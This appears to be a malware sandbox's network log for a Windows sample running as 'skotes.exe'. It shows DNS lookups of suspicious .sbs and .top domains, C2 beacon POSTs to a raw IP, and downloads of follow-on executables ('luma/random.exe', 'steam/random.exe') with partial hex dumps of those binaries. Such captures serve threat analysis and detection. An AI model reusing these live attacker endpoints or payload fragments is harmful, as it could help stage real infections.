Nov 21, 2024 07:11:25.317827940 CET	192.168.2.4	1.1.1.1	0xd4ab	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:11:25.317827940 CET	192.168.2.4	1.1.1.1	0xb3d7	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 21, 2024 07:11:29.050864935 CET	192.168.2.4	1.1.1.1	0x3a6	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:11:29.050977945 CET	192.168.2.4	1.1.1.1	0xe53f	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 21, 2024 07:11:35.490741968 CET	192.168.2.4	1.1.1.1	0x2b55	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:11:35.490834951 CET	192.168.2.4	1.1.1.1	0xb5a2	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 21, 2024 07:11:39.027462959 CET	192.168.2.4	1.1.1.1	0x3c5d	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:11:39.027507067 CET	192.168.2.4	1.1.1.1	0xbd43	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 21, 2024 07:10:16.180381060 CET	1.1.1.1	192.168.2.4	0x2990	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:10:16.180381060 CET	1.1.1.1	192.168.2.4	0x2990	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:10:34.659775019 CET	1.1.1.1	192.168.2.4	0xc514	No error (0)	www.google.com		142.250.184.228	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:10:34.660649061 CET	1.1.1.1	192.168.2.4	0x2d2d	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 21, 2024 07:10:41.270473957 CET	1.1.1.1	192.168.2.4	0x7d02	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 07:10:41.270473957 CET	1.1.1.1	192.168.2.4	0x7d02	No error (0)	plus.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:10:41.271214962 CET	1.1.1.1	192.168.2.4	0xcdf4	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 07:10:42.084368944 CET	1.1.1.1	192.168.2.4	0x113a	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:10:42.217612982 CET	1.1.1.1	192.168.2.4	0xbadd	No error (0)	play.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:10:42.325108051 CET	1.1.1.1	192.168.2.4	0x7d32	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:10:46.239171982 CET	1.1.1.1	192.168.2.4	0x6524	No error (0)	youtube.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:10:46.244477034 CET	1.1.1.1	192.168.2.4	0xed00	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 07:10:46.244477034 CET	1.1.1.1	192.168.2.4	0xed00	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:10:46.477616072 CET	1.1.1.1	192.168.2.4	0xea34	No error (0)	youtube.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:10:46.481389999 CET	1.1.1.1	192.168.2.4	0xfcaa	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:10:46.719654083 CET	1.1.1.1	192.168.2.4	0x295d	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 21, 2024 07:10:46.735331059 CET	1.1.1.1	192.168.2.4	0x3dd2	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 21, 2024 07:10:47.367770910 CET	1.1.1.1	192.168.2.4	0xf822	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:10:47.463941097 CET	1.1.1.1	192.168.2.4	0xb3c1	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 07:10:47.463941097 CET	1.1.1.1	192.168.2.4	0xb3c1	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:10:47.594532013 CET	1.1.1.1	192.168.2.4	0xd4cc	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:10:48.145833969 CET	1.1.1.1	192.168.2.4	0xe85f	Name error (3)	processhol.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:10:48.577764988 CET	1.1.1.1	192.168.2.4	0xb141	No error (0)	librari-night.sbs		172.67.206.172	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:10:48.577764988 CET	1.1.1.1	192.168.2.4	0xb141	No error (0)	librari-night.sbs		104.21.85.146	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:10:59.625010967 CET	1.1.1.1	192.168.2.4	0x2283	No error (0)	home.fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:11:00.147599936 CET	1.1.1.1	192.168.2.4	0xe506	No error (0)	befall-sm0ker.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:11:00.147599936 CET	1.1.1.1	192.168.2.4	0xe506	No error (0)	befall-sm0ker.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:11:01.097059011 CET	1.1.1.1	192.168.2.4	0x7af7	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:11:01.112373114 CET	1.1.1.1	192.168.2.4	0x7710	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:11:01.112373114 CET	1.1.1.1	192.168.2.4	0x7710	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:11:01.173937082 CET	1.1.1.1	192.168.2.4	0xeb86	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:11:01.267221928 CET	1.1.1.1	192.168.2.4	0x36bb	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 07:11:01.267221928 CET	1.1.1.1	192.168.2.4	0x36bb	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:11:01.268328905 CET	1.1.1.1	192.168.2.4	0x20b2	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 07:11:01.268328905 CET	1.1.1.1	192.168.2.4	0x20b2	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:11:01.495300055 CET	1.1.1.1	192.168.2.4	0xdbf7	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:11:01.538945913 CET	1.1.1.1	192.168.2.4	0xfd72	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 07:11:01.538945913 CET	1.1.1.1	192.168.2.4	0xfd72	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 07:11:01.538945913 CET	1.1.1.1	192.168.2.4	0xfd72	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:11:01.768362045 CET	1.1.1.1	192.168.2.4	0x3601	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:11:02.006787062 CET	1.1.1.1	192.168.2.4	0x8c16	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Nov 21, 2024 07:11:03.780585051 CET	1.1.1.1	192.168.2.4	0x9979	Name error (3)	processhol.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:11:04.479556084 CET	1.1.1.1	192.168.2.4	0x73d1	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 07:11:04.772695065 CET	1.1.1.1	192.168.2.4	0x158a	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:11:04.806240082 CET	1.1.1.1	192.168.2.4	0xd20a	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 07:11:04.806240082 CET	1.1.1.1	192.168.2.4	0xd20a	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:11:04.819416046 CET	1.1.1.1	192.168.2.4	0xb2ce	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 07:11:04.819416046 CET	1.1.1.1	192.168.2.4	0xb2ce	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:11:05.056087017 CET	1.1.1.1	192.168.2.4	0x3276	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:11:05.056171894 CET	1.1.1.1	192.168.2.4	0x796c	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:11:25.832891941 CET	1.1.1.1	192.168.2.4	0xd4ab	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:11:29.803987026 CET	1.1.1.1	192.168.2.4	0x3a6	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:11:35.716694117 CET	1.1.1.1	192.168.2.4	0x2b55	No error (0)	www.google.com		142.250.186.36	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:11:35.716707945 CET	1.1.1.1	192.168.2.4	0xb5a2	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 21, 2024 07:11:39.938411951 CET	1.1.1.1	192.168.2.4	0x3c5d	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49753	185.215.113.43	80	7264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 07:10:04.700071096 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 07:10:06.124329090 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 06:10:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49764	185.215.113.43	80	7264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 07:10:07.758855104 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 42 37 34 42 30 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12B74B05F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 21, 2024 07:10:09.203535080 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 06:10:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 63 35 0d 0a 20 3c 63 3e 31 30 30 37 38 36 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 37 38 36 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 37 38 36 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 37 38 36 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 1c5 <c>1007860001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1007861001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1007862001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1007863001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1007864001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49765	185.215.113.16	80	7264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 07:10:09.328120947 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 21, 2024 07:10:10.669938087 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 06:10:10 GMT Content-Type: application/octet-stream Content-Length: 1901056 Last-Modified: Thu, 21 Nov 2024 05:12:11 GMT Connection: keep-alive ETag: "673ec12b-1d0200" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 e6 72 3b 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 10 04 00 00 be 00 00 00 00 00 00 00 00 4b 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 4b 00 00 04 00 00 30 c8 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 70 05 00 70 00 00 00 00 60 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 71 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELr;gK@0K0@\pp`q P^@.rsrc`n@.idata pp@ +r@tklpndtlp0ht@natdubhnJ@.taggant0K"@
Nov 21, 2024 07:10:10.670011997 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 07:10:10.670051098 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 07:10:10.670080900 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 07:10:10.670134068 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 07:10:10.670171976 CET	1236	IN	Data Raw: 1e 1f 44 43 0f d7 3f 9b 30 61 c3 57 bc 2b e4 9a 26 42 f4 2e 8e 02 a3 98 24 10 32 75 b6 a8 7c f7 41 75 eb 7e 49 26 16 9a 85 1a 03 43 fd 3c 3c 77 7d 66 a5 c0 32 4b e3 e7 6f be e6 e6 5d 7a 15 43 0f 50 f4 b8 26 16 b5 7d 49 ca ad 75 4e 80 df 89 24 e4 Data Ascii: DC?0aW+&B.$2u\|Au~I&C<<w}f2Ko]zCP&}IuN$d'Sn[j7.9OXt"r^H$R,o7+^T"o7h\@c'BuBmhuK}v}WR[,zQ_!&G^1egM*eALbAyWj
Nov 21, 2024 07:10:10.670207024 CET	1236	IN	Data Raw: 3b fb 7a 8e d5 24 43 e9 09 4c 02 1e 9e 74 8e 41 41 66 d3 66 24 ce f2 9a 3f 04 08 c0 d3 42 31 79 29 e1 fe 41 e9 5a d0 85 c1 32 cf 80 65 1b dc 39 b6 cf 4a 2b 73 df 62 02 3d 53 cb dd 28 1a d4 f0 0e 64 c4 89 06 60 e6 31 2a b0 51 f1 ae df 44 b0 38 dd Data Ascii: ;z$CLtAAff$?B1y)AZ2e9J+sb=S(d`1QD8y/8jRkVRy1!nsk)w^JRF}3$N75+!E)<\\Gn)D@nyv[{}M$)O g&M;kP4Z<v97~E{Q"2t^
Nov 21, 2024 07:10:10.670243979 CET	896	IN	Data Raw: 4b 13 09 cb f7 48 da 7b 2d 40 97 6f 96 18 83 75 3c fb d4 8a 3d 4a 42 39 12 8b eb f1 e6 92 15 aa 1e f1 d2 10 a9 a3 3c 50 67 59 69 74 d5 d9 7e 99 39 1e 89 72 2b f4 d0 e8 41 38 68 c5 2a a5 1e fa f6 f4 05 b0 38 66 fa a3 38 66 ff e7 a3 22 16 b2 aa d2 Data Ascii: KH{-@ou<=JB9<PgYit~9r+A8h*8f8f"G^cmJnwE0(4uz){Wa@1oH'^"'@\|)hep5`SX0-kZ^Lp`_TikVRb2wAs
Nov 21, 2024 07:10:10.670277119 CET	1236	IN	Data Raw: fc f4 34 6f c5 65 92 1d ad f2 0a f3 e6 a6 65 a1 49 11 a7 1a 1d 5a b0 32 21 63 ca 92 3e dc 6f 70 d3 32 e3 fa 2b 54 5d 2b 1f 4e 10 48 bb 5d e8 f0 7d f8 3f 8b 00 09 e2 99 70 c2 3d 3b fd 13 f7 e8 84 f1 e3 38 89 d0 eb 1d 47 aa ef 61 37 45 92 27 1d fe Data Ascii: 4oeeIZ2!c>op2+T]+NH]}?p=;8Ga7E'DPnI8.!K1+!W%q_>[@I?L{qetvrfk'4h81]/S3EuQM{Io9?lu>lcB`!>^\i\|
Nov 21, 2024 07:10:10.670316935 CET	1116	IN	Data Raw: 6a 16 55 62 9e f5 ff 97 a5 63 16 a6 9d 53 5b 41 14 a6 9e 72 76 63 5f c2 e6 7b 6f bb 9a 50 9a 6f 50 e5 92 5d 28 4e 7c db 28 48 28 98 a5 9d 64 f9 ce 69 9a 32 08 de 2f 4f 43 3a 4e 30 a6 c7 3c f1 2e e5 36 24 a2 e3 bd 55 40 1e 15 7b 03 27 b9 8f b7 f6 Data Ascii: jUbcS[Arvc_{oPoP](N\|(H(di2/OC:N0<.6$U@{'%ZnkgSQur.K_A&.Z?F#kSD[8foH/Q4Ww^9#REd`^`P$#E'BT~&W*jVq>r:\uz36P?3yN
Nov 21, 2024 07:10:10.790144920 CET	1236	IN	Data Raw: 49 3e a1 12 1d f4 06 70 5d 16 38 32 fe 78 b0 21 be 42 14 2f e1 f2 dd ed 6a 18 e0 f5 21 20 d6 f9 cf ff fa 8b 45 91 ae b9 a9 da 21 ff 98 35 6a 51 3d 6a 1f e5 0f 55 dc 12 e3 f4 2e 21 ee 7d 9e 90 56 50 3f af de 25 b8 17 1e aa d4 62 aa c5 68 f6 ab f4 Data Ascii: I>p]82x!B/j! E!5jQ=jU.!}VP?%bh_ ;"W{.`^U8\URbe&eE;;<Q]jk49gp@u\|-&~%/"}Zh+\^6w-}r3]\|9gy?<\*86cbhaFnlo/}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49781	185.215.113.43	80	7264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 07:10:16.305313110 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 38 36 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007860001&unit=246122658369
Nov 21, 2024 07:10:17.684151888 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 06:10:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49787	185.215.113.16	80	7264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 07:10:17.809341908 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 21, 2024 07:10:19.195530891 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 06:10:18 GMT Content-Type: application/octet-stream Content-Length: 1821184 Last-Modified: Thu, 21 Nov 2024 05:12:18 GMT Connection: keep-alive ETag: "673ec132-1bca00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 22 01 00 00 00 00 00 00 20 6a 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 6a 00 00 04 00 00 7e 32 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g" j@Pj~2@M$a$$ $b@.rsrc$r@.idata $t@ +$v@rkukuayu0O,x@uvxbkdjfj@.taggant0 j"@
Nov 21, 2024 07:10:19.195583105 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 07:10:19.195595980 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 07:10:19.195652962 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 07:10:19.195662975 CET	1236	IN	Data Raw: 2c c4 13 89 f8 e9 ee 03 41 55 7a fe b9 7c e5 01 2c 83 7c 26 7e 9e 27 64 18 7d 39 25 62 c4 f7 0d 89 e4 98 05 c3 89 4a 24 03 53 b9 d8 31 80 af 6d e0 da 87 f5 18 81 23 ac 1f 64 7d 31 d3 74 b3 b4 a0 b7 1b c5 a8 9b 3f 32 f4 d1 82 26 98 5a 97 8e 20 6c Data Ascii: ,AUz\|,\|&~'d}9%bJ$S1m#d}1t?2&Z l\|aj`70!oTHT~W2,7AAS(!qks#0gUm/=nZ.uTq \,H.T`le^{HJ
